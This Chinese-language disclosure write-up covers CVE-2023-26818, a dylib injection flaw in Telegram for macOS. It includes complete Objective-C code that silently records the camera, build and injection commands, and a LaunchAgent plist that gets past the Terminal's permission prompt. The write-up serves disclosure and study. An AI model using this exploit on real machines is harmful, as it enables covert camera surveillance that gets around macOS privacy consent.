前言
以下文章将重点介绍 macOS 上 Telegram 应用程序的一个弱点,该应用程序允许注入动态库(或简称 Dylib)。本文将介绍 macOS 中的几个基本概念,以提供相关背景,帮助读者了解识别弱点和编写漏洞的过程,该漏洞将通过 Telegram 应用程序的权限访问相机来获得本地权限提升。应该注意的是,即使是 macOS 上的 Root 用户也无权访问麦克风或录制屏幕(等),除非应用程序在初始访问应用程序期间已获得用户的直接同意(或通过系统偏好设置中的 UI 手动打开权限)。我们将介绍macOS中的几个基本概念,然后继续了解如何识别应用程序中的弱点。之后,我们将编写将在漏洞利用中用于从摄像机执行录制并将其保存到文件中的 Dylib。此外,我们将看到如何使用 LaunchAgent 绕过终端的沙箱。最终导致本地权限提升,允许攻击者通过访问隐私限制区域来获得更多权限。自研究开始以来的时间表如下:
自研究开始以来的时间表如下:
03/02/2023:漏洞发现
03/02/2023 - 16/03/2023:尚未处理的与 [email protected] 通信的数量
10/02/2023:向 MITRE 报告漏洞
26/03/2023:向 VINCE 报告,以与 Telegram 协调获得漏洞修复和披露方面的帮助
05/04/2023:CVE-2023-26818 - 收到用于漏洞披露的“保留”CVE
15 年 05 月 2023 日:VINCE 的宽限期到期以及漏洞披露日期。
背景
透明度、同意和控制 (TCC) 是 macOS 中的一种机制,用于管理对定义为“隐私保护”的某些区域的访问。通过收集用户的同意或通过特定操作检测用户的意图来启用访问这些区域的授权。
权利
权利是授予特定二进制文件的权限,以便获得某些特权。例如,为了使应用程序能够访问麦克风,必须使用相应的权利对其进行签名,并在应用初始访问麦克风时接收用户的权限。
有关权利的更多信息,请访问 Apple 网站:https://developer.apple.com/documentation/bundleresources/entitlements
强化运行时
根据Apple开发人员的说法,强化运行时通过防止某些类型的攻击来保护软件的运行时完整性,例如代码注入,动态链接库(DLL)劫持和进程内存空间篡改以及系统完整性保护(SIP)。
这意味着强化运行时机制为已定义为“强化”的应用增加了安全性。在 iOS 中,要将应用上传到 App Store,必须使用强化运行时授权对其进行签名。但是,此要求在macOS中似乎不存在。
强化运行时机制添加了一组安全规则,可保护二进制文件免受各种操作的影响,包括注入代码、dylib、从另一个进程访问进程内存等。开发人员仍可以通过使用某些权利来减少某些安全措施,这些权利会降低特定区域的安全性。
例如,使用授权,二进制文件可以通过环境变量接收dylib注入。但是只要二进制文件被强化,我们就无法注入不是由同一团队签名的库。因此,只有权利的组合才能允许我们加载不是由同一开发人员签名的库。由于后者取消了 dylib 对软件的签名验证,因此我们可以加载任何库。后者在允许开发和使用第三方插件的软件中很有用。com.apple.security.cs.allow-dyld-environment-variables
com.apple.security.cs.disable-library-validation
DYLD_INSERT_LIBRARIES
这是一个环境变量,在使用时,它包含将在应用程序启动之前加载的库列表。
我们可以在几种情况下通过环境变量使用注入:
当应用程序未定义为“强化运行时”,因此允许使用环境变量注入 Dylib 时。
当二进制文件经过强化运行时,此外,程序员会使用适当的权利释放它:
“禁用库验证”,它允许任何 Dylib 在二进制文件上运行,即使不检查谁对文件和库进行了签名。此权限通常存在于允许社区编写插件的程序中。
com.apple.security.cs.allow-dyld-environment-variables丢失强化的运行时限制,并允许使用 注入库。DYLD_INSERT_LIBRARIES
如果我们继续并从AppStore下载Telegram应用程序,则可以使用“codesign”命令检查其签名和权利。
我们可以看到文件没有从以“代码目录”开头的行强化,我们将查看定义为“none”的标志。在强化运行时的情况下,我们可以将强化视为一个标志。
换句话说,Telegram似乎没有强化上传到macOS App Store的应用程序版本。因此,我们可以直接使用,而无需关心在其上签署的权利。(请注意,授权列表在上述 codesign 命令输出的末尾显示为 XML。DYLD_INSERT_LIBRARIES
创建 Dylib
为了注入一个dylib,我们首先需要在Objective-C中创建一个dylib。在下一步中,我们将编写一个 Dylib,用于从相机捕获视频并将录制内容保存到磁盘。
我们将创建一个名为 telegram.m 的新文件:
#import <Foundation/Foundation.h>
attribute((constructor))
static void telegram(int argc, const char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[0]);
}
我们将首先将消息打印到屏幕上,以便我们可以验证是否已成功加载 dylib。请注意,这标记了将在应用程序的主函数之前运行的函数,我们将 dylib 注入其中(在本例中为 - Telegram)。attribute((constructor))
我们将使用 gcc 编译库:
$ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib
请注意,我们需要将 Foundation 框架添加到 gcc 命令中,以便在导入库并使用它 (NSLog) 后编译文件。
现在,我们可以使用环境变量加载编译后的库:DYLD_INSERT_LIBRARIES
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram
当我们看到以下输出时,似乎我们成功加载了库:
[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram
请注意,如果我们尝试在另一个 hardedend 中使用并且没有匹配权利的二进制文件,我们将无法加载库,并且我们将看不到上述输出。DYLD_INSERT_LIBRARIES
例如,让我们使用 Safari 并尝试加载库:
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari
请注意,在这种情况下,我们不会在屏幕上看到提示,因为二进制文件已强化(我们可以看到它是使用 codesign 进行运行时强化的)。现在我们已经成功加载了 dylib,我们将继续编写代码。让我们回到我们之前创建的 telegram.m 文件,并编写从摄像机捕获视频 3 秒并将录制内容保存到文件中的代码。
完整的代码可以在这里找到:
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
我们将再次使用 gcc 编译:
$ gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib
现在,如果我们像以前一样使用 Dylib 并使用该参数,并将 Dylib 注入 Telegram,我们将遇到以下消息:DYLD_INSERT_LIBRARIES
"Terminal" would like to access the camera.
终端应用程序似乎正在尝试访问视频而不是电报!那么,这里到底发生了什么?
在macOS中,当我们通过终端运行应用程序时,应用程序会继承其沙盒配置文件。因此,似乎在这个阶段,终端应用程序实际上是在限制对相机的访问。
要绕过沙盒,我们需要以不同的方式运行应用程序。我们可以使用 LaunchAgents 机制代替使用终端,它允许我们在后台运行进程并安排其执行。
要创建一个新的启动代理,我们将创建一个在目录下命名的新文件。我们将启动代理定义为 XML,并按如下方式配置:com.telegram.launcher.plist
~/Library/LaunchAgents
DYLD_INSERT_LIBRARIES
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
现在,我们将使用以下命令运行启动代理:
$ launchctl load com.telegram.launcher.plist
由于 Telegram 是使用沙盒配置文件定义的,因此文件将保存在相对于沙盒配置文件的路径中。如果我们看,我们可以看到日志和保存录音的位置。/tmp/telegram.logs
$ cat /tmp/telegram.log
2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started
2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped
2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully.
Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov
似乎我们成功注入了Dylib,并且录制文件已成功保存。这意味着我们能够通过注入 Dylib 来使用授予 Telegram 的权限并记录用户。应该注意的是,即使我们对系统具有root访问权限,我们打开麦克风和摄像头仍然受到限制。因此,使用第三方应用程序的漏洞可以授予我们额外的权限,并允许我们绕过Apple的隐私机制。
总而言之,我们了解了macOS中TCC机制的概念及其对用户隐私的重要性。我们介绍了基本概念,包括强化运行时、权利和 Dylib。我们在Objective-C中创建了一个新的Dylib文件,该文件从相机捕获视频3秒钟,并将录制内容保存到文件中。我们通过定义启动代理绕过了终端的沙盒限制。我们看到该文件保存在与 Telegram 沙盒配置文件的相对位置,我们通过查看作为 Dylib 开发过程的一部分创建的日志来找到它。
点它,分享点赞在看都在这里